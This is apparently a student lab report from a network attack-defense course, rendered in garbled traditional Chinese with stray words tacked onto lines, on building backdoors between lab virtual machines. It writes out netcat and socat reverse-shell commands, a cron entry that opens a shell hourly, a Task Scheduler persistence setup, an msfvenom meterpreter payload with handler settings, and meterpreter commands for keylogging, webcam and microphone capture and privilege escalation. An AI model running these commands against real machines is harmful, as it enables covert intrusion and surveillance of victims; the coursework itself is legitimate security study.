2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐

1.實驗內容

  1. 使用netcat獲取主機操做Shell,cron啓動
  2. 使用socat獲取主機操做Shell, 任務計劃啓動
  3. 使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
  4. 使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  5. 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

2.基礎問題回答

1.例舉你能想到的一個後門進入到你係統中的可能方式?web

  • 捆綁在下載的軟件中
  • 郵箱附件、網站連接
  • 注入在可執行文件裏
  • 注入在office文件的宏裏面

2.例舉你知道的後門如何啓動起來(win及linux)的方式?shell

  • 更更名字假裝成其餘程序,一點擊即啓動
  • Linux能夠經過cron啓動
  • Windows下經過任務計劃、開機自啓動、修改註冊表項來啓動後門程序

3.Meterpreter有哪些給你映像深入的功能?vim

  • 獲取攝像頭權限進行拍照、錄像
  • 獲取麥克風權限進行錄音
  • 獲取鍵盤輸入
  • 提高用戶權限

4.如何發現本身有系統有沒有被安裝後門?windows

  • 安裝殺毒軟件並進行掃描
  • 觀察進程以及端口,看看有沒有異常開放的端口
  • 查看開機自啓動向、註冊表項中有無異常

3.經常使用後門工具實踐

3.1netcat

Windows得到Linux Shell

  • Windows:使用ipconfig指令查看本機IP:192.168.19.128
    網絡

  • 使用ncat.exe程序監聽本機的
    5230端口:ncat.exe -l -p 5230tcp

  • Kali:使用nc指令的-e選項反向鏈接Windows主機的5230端口:ncat 192.168.19.128 5230 -e /bin/sh編輯器

  • Windows下成功運行Kali的shell,運行ls指令以下:
    工具

Linux得到Windows Shell

  • Kali:ifconfig查看IP:
    192.168.19.129
    網站

  • Kali使用nc指令監聽5230端口:nc -l -p 5230

  • Windows:使用ncat.exe程序的-e選項項反向鏈接Kali主機的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230

  • Kali:運行Windows的cmd shell 並輸入命令執行:

使用nc傳輸數據

  • Windows下監聽5230端口:ncat.exe -l 5230

  • Kali下鏈接到Windows的`5230端口:nc 192.168.19.128 5230

  • 創建以後進行文字傳輸,後面會說道用來傳輸後門:

使用nc傳輸文件

  • Windows下監聽5230端口,把收到的數據保存到file1.out中:ncat.exe -l 5230 > file1.out

  • Kali下先建立file1.in文件,再反彈鏈接到Windows的`5230端口:nc 192.168.19.128 5230 < file1.in

  • 傳輸成功

3.2Meterpreter

  • 後門就是一個程序。
  • 傳統的理解是:有人編寫一個後門程序,你們拿來用。
  • 後來有一些牛人呢,就想編寫一個平臺能生成後門程序。這個平臺呢,把後門的基本功能(基本的鏈接、執行指令),
  • 擴展功能(如蒐集用戶信息、安裝服務等功能),
    • 編碼模式,
    • 運行平臺,
    • 以及運行參數
    • 全都作成零件或可調整的參數。用的時候按須要組合,就能夠生成一個可執行文件。
  • 典型的平臺就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 參數說明
-p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
-e 使用的編碼器,用於對shellcode變形,爲了免殺。
-i 編碼器的迭代次數。如上即便用該編碼器編碼5次。
-b badchar是payload中須要去除的字符。
LHOST 是反彈回連的IP
LPORT 是回連的端口
-f 生成文件的類型
> 輸出到哪一個文件

3.3socat

  • socat是ncat的加強版,
  • 它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options 是可選項。
  • socat的基本功能就是創建兩個雙向的字節流,數據就在其間傳輸,參數address就是表明了其中的一個方向。所謂流,表明了數據的流向,而數據則能夠有許多不一樣的類型,命令中也就相應須要許多選項對各類不一樣的類型數據流進行限定與說明。

4.實驗過程

任務一:使用netcat獲取主機操做Shell,cron啓動

  • 先在Windows系統下,監聽`5230端口:

  • 在Kali環境下,使用man cron指令查看crontab命令的幫助文檔:

  • crontab指令能夠用於設置週期性被執行的指令。該命令從標準輸入設備讀取指令,並將其存放於crontab文件中,以供以後讀取和執行。

  • crontab -e指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行:

  • 在最後一行添加37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh,意思是在每一個小時的第37分鐘反向鏈接Windows主機的5230端口,設置成37的緣由是我當時的時間是17:36(這樣過一會就能看到鏈接效果了)

  • 當時間到了17:37時,此時已經得到了Kali的shell,能夠輸入指令

任務二:使用socat獲取主機操做Shell, 任務計劃啓動

  • 在Windows系統下,打開控制面板下搜索任務計劃就能夠開始建立任務

  • 點擊觸發器選項卡,選擇新建,而後將開始任務設置爲工做站鎖定時

  • 點擊常規選項卡,輸入名稱(學號):

  • 在操做->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5230 exec:cmd.exe,pty,stderr(兩個參數之間用空格或者;),這個命令的做用是把cmd.exe綁定到端口5230,同時把cmd.exe的stderr重定向到stdout上:

  • 建立完成以後,能夠windows+L鎖定計算機讓它執行。

  • 此時,在Kali環境下輸入指令socat - tcp:192.168.19.129:5230,這裏的第一個參數-表明標準的輸入輸出,第二個流鏈接到Windows主機的5230端口,此時能夠發現已經成功得到了一個cmd shell

任務三: 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  • 在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > 20155230_backdoor.exe注意這裏的IP地址爲控制端IP,即LinuxIP,生成後門程序:

  • 在Windows下執行ncat.exe -l 5230 > 20165230_backdoor.exe,這樣被控主機就進入了接收文件模式

  • 在kali中經過nc 192.168.19.128 5230 < 20165230_backdoor.exe將生成的後門程序傳送到Windows主機上.注意這裏的IP爲被控主機IP,即WindowsIP

  • 傳送接收文件成功

  • 在Kali上使用msfconsole指令進入msf控制檯,

  • 使用監聽模塊,設置payload,設置反彈回連的IP和端口:

use exploit/multi/handler  使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp,使用和生成後門程序時相同的payload
set LHOST 192.168.19.129,這裏用的是LinuxIP,和生成後門程序時指定的IP相同
set LPORT 5230,一樣要使用相同的端口
  • 設置完成後,執行監聽exploit

  • 雙擊打開Windows上的後門程序

  • 此時Kali上已經得到了Windows主機的鏈接,而且獲得了遠程控制的shell:

任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 使用record_mic指令截獲一段音頻:

  • 使用webcam_snap指令可使用攝像頭進行拍照:

  • 使用webcam stream指令可使用攝像頭進行錄像:

  • 使用screenshot指令能夠進行截屏:

  • 在kali中使用keyscan_start指令開始,在windows中記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄:

  • 先使用getuid指令查看當前用戶,使用getsystem指令進行提權,如圖所示,提權成功:

5.實驗遇到的問題

  • 作實驗的兩臺虛擬機之間不能互相ping通,提示network is unreachable

  • 解決方法:將兩臺虛擬機都關機,而後將網絡配置爲NAT模式,注意!不能掛起進行配置!不然將不成功!!實驗中kali虛擬機和windows虛擬機是在NAT網絡下實現交互的,
    有點奇怪的是kali虛擬機在NAT網絡模式下無法上網,只有把改成橋接模式才行,
    而windows虛擬機在橋接模式下又不能上網了,這就很氣人了。
    virtualbox的網絡地址轉換NAT模式和NAT網絡模式是兩個不一樣的模式,
    詭異的是在NAT模式下,kali虛擬機和windows虛擬機自動分配的地址都是同樣的,手工配置IP地址仍是會有問題,ping確定是ping不通的。
    最後仍是用的NAT網絡模式,兩個虛擬機的IP地址會不同。
    kali虛擬機無法上網無所謂了,只要能跟windows虛擬機連上就好了,兩個計算機的文件傳輸用netcat實現。

  • 在進行webcam_snap時提示錯誤

  • 解決方法:windows系統裏沒有攝像頭設備,那咱們就把攝像頭的USB鏈接切到win7上面來,由於攝像頭這種USB設備不可能虛擬機和本機一塊兒使用。在虛擬機->可移動設備->最後一個選項裏選擇鏈接主機便可解決

6.實驗總結與體會

  • 此次實驗研究的是後門的原理和應用,操做起來並非很複雜,主要是三個步驟:
    1. 生成後門程序2. 將後門植入到受害者的計算機中3. 運行後門程序
  • 作實驗的過程當中小問題一直頻發,並且最後攝像頭仍是調用不了,不過好多問題都解決了,頗有成就感。有不少實驗結果很是有意思,尤爲是 meterpreter的應用。我真切的感覺到如今的互聯網環境之惡劣,之後也應該更加註意保密意識。
相關文章
相關標籤/搜索